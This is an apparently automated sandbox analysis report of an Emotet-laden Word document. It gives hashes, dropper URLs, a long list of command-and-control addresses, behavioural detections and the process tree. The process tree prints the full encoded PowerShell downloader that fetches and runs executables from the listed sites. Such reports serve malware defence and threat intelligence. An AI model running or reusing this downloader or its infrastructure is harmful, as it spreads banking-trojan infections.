emotet | 8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8

General

Target
emotet_e2_8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8_2020-08-18__072722._doc.doc
Size 177KB
Sample200818-2b6psxvwha
SHA256 8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8
MD5 9420423dcfc860b9c4d27010c16fa183
SHA1 c413726f234bbe3afa6f3103bf00c175aa4f13b0
SHA512 e584af482ab45b14e4676c0303d8f497acc694c11195304e34fa3dd509edad65d1c47b8c4f1ffcbf05cdcc6b9bb56bee8601c1359ca5f99372d7ce36f7fad85a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://guthixgreengold.com/wp-admin/ebw_3fc5_3giqkal4/
exe.dropper
https://groovyboove.co.uk/tmp/q8_r18cu_g/
exe.dropper
http://hangtheuducthanh.com/site/t258v_2y_5ay5bd/
exe.dropper
http://intelligence.com.sg/registration/p_z02_d/
exe.dropper
http://immocop.ch/banner/zrg_i_rav/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
79.98.24.39:8080
5.196.74.210:8080
188.83.220.2:443
109.116.214.124:443
203.117.253.142:80
104.131.11.150:443
97.82.79.83:80
121.124.124.40:7080
83.169.36.251:8080
89.186.91.200:443
70.167.215.250:8080
204.197.146.48:80
167.86.90.214:8080
190.160.53.126:80
95.213.236.64:8080
47.144.21.12:443
169.239.182.217:8080
62.75.141.82:80
181.211.11.242:80
37.70.8.161:80
190.55.181.54:443
78.24.219.147:8080
93.51.50.171:8080
139.59.60.244:8080
91.211.88.52:7080
139.130.242.43:80
24.233.112.152:80
185.94.252.104:443
74.208.45.104:8080
47.146.117.214:80
137.59.187.107:8080
174.102.48.180:80
199.101.86.142:8080
116.203.32.252:8080
103.86.49.11:8080
81.2.235.111:8080
200.41.121.90:80
85.105.205.77:8080
61.19.246.238:443
110.145.77.103:80
107.185.211.16:80
95.179.229.244:8080
85.152.162.105:80
142.105.151.124:443
41.60.200.34:80
203.153.216.189:7080
85.66.181.138:80
113.160.130.116:8443
46.105.131.79:8080
181.230.116.163:80
168.235.67.138:7080
24.179.13.119:80
72.12.127.184:443
75.139.38.211:80
109.74.5.95:8080
24.43.99.75:80
87.106.136.232:8080
176.111.60.55:8080
152.168.248.128:443
74.120.55.163:80
183.101.175.193:80
68.188.112.97:80
62.138.26.28:8080
5.39.91.110:7080
24.137.76.62:80
37.139.21.175:8080
2.58.16.85:7080
209.141.54.221:8080
37.187.72.193:8080
104.236.246.93:8080
201.173.217.124:443
222.214.218.37:4143
157.147.76.151:80
87.106.139.101:8080
189.212.199.126:443
173.62.217.22:443
180.92.239.110:8080
104.131.44.150:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3080	2520	powersheLL.exe	69

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3748-13-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3748-13-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/1220-16-0x0000000002130000-0x000000000213C000-memory.dmp	emotet
behavioral2/memory/1220-16-0x0000000002130000-0x000000000213C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	3080	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3748	X2f9qot8.exe
1220	Windows.Media.Ocr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sqlcese40\Windows.Media.Ocr.exe	X2f9qot8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3288	WINWORD.EXE
3288	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3080	powersheLL.exe
3080	powersheLL.exe
3080	powersheLL.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3080	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3748	X2f9qot8.exe
3748	X2f9qot8.exe
1220	Windows.Media.Ocr.exe
1220	Windows.Media.Ocr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 3748	3080	powersheLL.exe	77
PID 3080 wrote to memory of 3748	3080	powersheLL.exe	77
PID 3080 wrote to memory of 3748	3080	powersheLL.exe	77
PID 3748 wrote to memory of 1220	3748	X2f9qot8.exe	78
PID 3748 wrote to memory of 1220	3748	X2f9qot8.exe	78
PID 3748 wrote to memory of 1220	3748	X2f9qot8.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8_2020-08-18__072722._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3288

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAGwAaAA2ADEAMwBlAD0AKAAnAEgAaQBpAGoAJwArACcAMQB3ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgB0AEUATQBQAFwAbwBmAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBgAFIASQBgAFQAeQBwAHIATwBgAFQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAJwArACcAMgAsACcAKwAnACAAdABsAHMAMQAxACwAJwArACcAIAB0AGwAcwAnACkAOwAkAFIAMQB6AG0AdgBqAGkAIAA9ACAAKAAnAFgAJwArACcAMgBmACcAKwAnADkAcQBvAHQAOAAnACkAOwAkAFEANwBlAHAAdgB2ADUAPQAoACcATwBoAHQAOAAnACsAJwB5AGMAagAnACkAOwAkAEEAOAB1AHIAdQBzAHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEsAdQAyAE8AJwArACcAZgAnACsAJwBmAGkAYwBlACcAKwAnADIAMAAnACsAJwAxADkASwB1ADIAJwApACAALQBDAHIARQBwAGwAYQBDAEUAJwBLAHUAMgAnACwAWwBDAGgAQQByAF0AOQAyACkAKwAkAFIAMQB6AG0AdgBqAGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFIAZwBtAGsAaQByAGMAPQAoACcARQAnACsAJwBwADUAZQBsAHUAJwArACcAdQAnACkAOwAkAFEAcQB1AGcANQBhADcAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAHQAOwAkAEsAYgA1AHYANgBkADkAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBnACcAKwAnAHUAdAAnACsAJwBoAGkAJwArACcAeAAnACsAJwBnACcAKwAnAHIAZQBlACcAKwAnAG4AZwBvAGwAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAnACsAJwBiAHcAXwAnACsAJwAzAGYAYwAnACsAJwA1AF8AMwAnACsAJwBnACcAKwAnAGkAcQAnACsAJwBrACcAKwAnAGEAJwArACcAbAA0AC8AKgBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AZwByAG8AJwArACcAbwB2AHkAJwArACcAYgBvAG8AdgBlACcAKwAnAC4AYwBvAC4AdQBrACcAKwAnAC8AdAAnACsAJwBtACcAKwAnAHAALwBxADgAXwAnACsAJwByADEAOAAnACsAJwBjAHUAXwBnACcAKwAnAC8AJwArACcAKgBoAHQAdABwADoALwAvAGgAJwArACcAYQBuAGcAdABoAGUAJwArACcAdQBkAHUAYwB0AGgAYQBuACcAKwAnAGgALgAnACsAJwBjACcAKwAnAG8AbQAvAHMAaQAnACsAJwB0ACcAKwAnAGUALwAnACsAJwB0ADIANQA4ACcAKwAnAHYAXwAyAHkAXwA1AGEAeQAnACsAJwA1AGIAJwArACcAZAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdABlACcAKwAnAGwAJwArACcAbABpACcAKwAnAGcAZQAnACsAJwBuAGMAJwArACcAZQAuAGMAbwBtAC4AcwBnACcAKwAnAC8AcgAnACsAJwBlAGcAJwArACcAaQBzACcAKwAnAHQAcgBhACcAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4ALwBwAF8AegAwADIAXwBkAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAvAGkAJwArACcAbQBtAG8AYwAnACsAJwBvACcAKwAnAHAALgBjACcAKwAnAGgALwBiAGEAbgBuAGUAcgAvAHoAJwArACcAcgBnAF8AaQAnACsAJwBfAHIAYQB2AC8AJwApAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAawBkADcAYQByAHoAPQAoACcASwAnACsAJwBsAGYAJwArACcAcAB0AHcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGcAdgBmADYAZAB0ACAAaQBuACAAJABLAGIANQB2ADYAZAA5ACkAewB0AHIAeQB7ACQAUQBxAHUAZwA1AGEANwAuACIARABgAE8AdwBuAGwAYABPAEEAZABGAGkAbABlACIAKAAkAEMAZwB2AGYANgBkAHQALAAgACQAQQA4AHUAcgB1AHMAcgApADsAJABYAGYANABpAGgAeABtAD0AKAAnAFYAcQBqACcAKwAnAGcAMgB6AHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAOAB1AHIAdQBzAHIAKQAuACIATABlAG4AYABnAHQASAAiACAALQBnAGUAIAAyADAAMAA0ADUAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQA4AHUAcgB1AHMAcgApADsAJABUAHcAbwBfAG4AMwBnAD0AKAAnAFEANwA5AG0AJwArACcAeABmAHUAJwApADsAYgByAGUAYQBrADsAJABEAGkAZgAzAG0AdQB5AD0AKAAnAFkAYwB1AGkAJwArACcAdAAnACsAJwA4AHoAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADQAMwBhADYAMQB0AD0AKAAnAFEAMgB1ADIAbwAnACsAJwA1ACcAKwAnAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\SysWOW64\sqlcese40\Windows.Media.Ocr.exe
    "C:\Windows\SysWOW64\sqlcese40\Windows.Media.Ocr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1220-16-0x0000000002130000-0x000000000213C000-memory.dmp

Download

memory/3080-7-0x00007FF960DB0000-0x00007FF96179C000-memory.dmp

Download

memory/3080-8-0x0000026ED50B0000-0x0000026ED50B1000-memory.dmp

Download

memory/3080-9-0x0000026ED5260000-0x0000026ED5261000-memory.dmp

Download

memory/3288-0-0x00007FF968BC0000-0x00007FF969286000-memory.dmp

Download

memory/3748-13-0x0000000000600000-0x000000000060C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads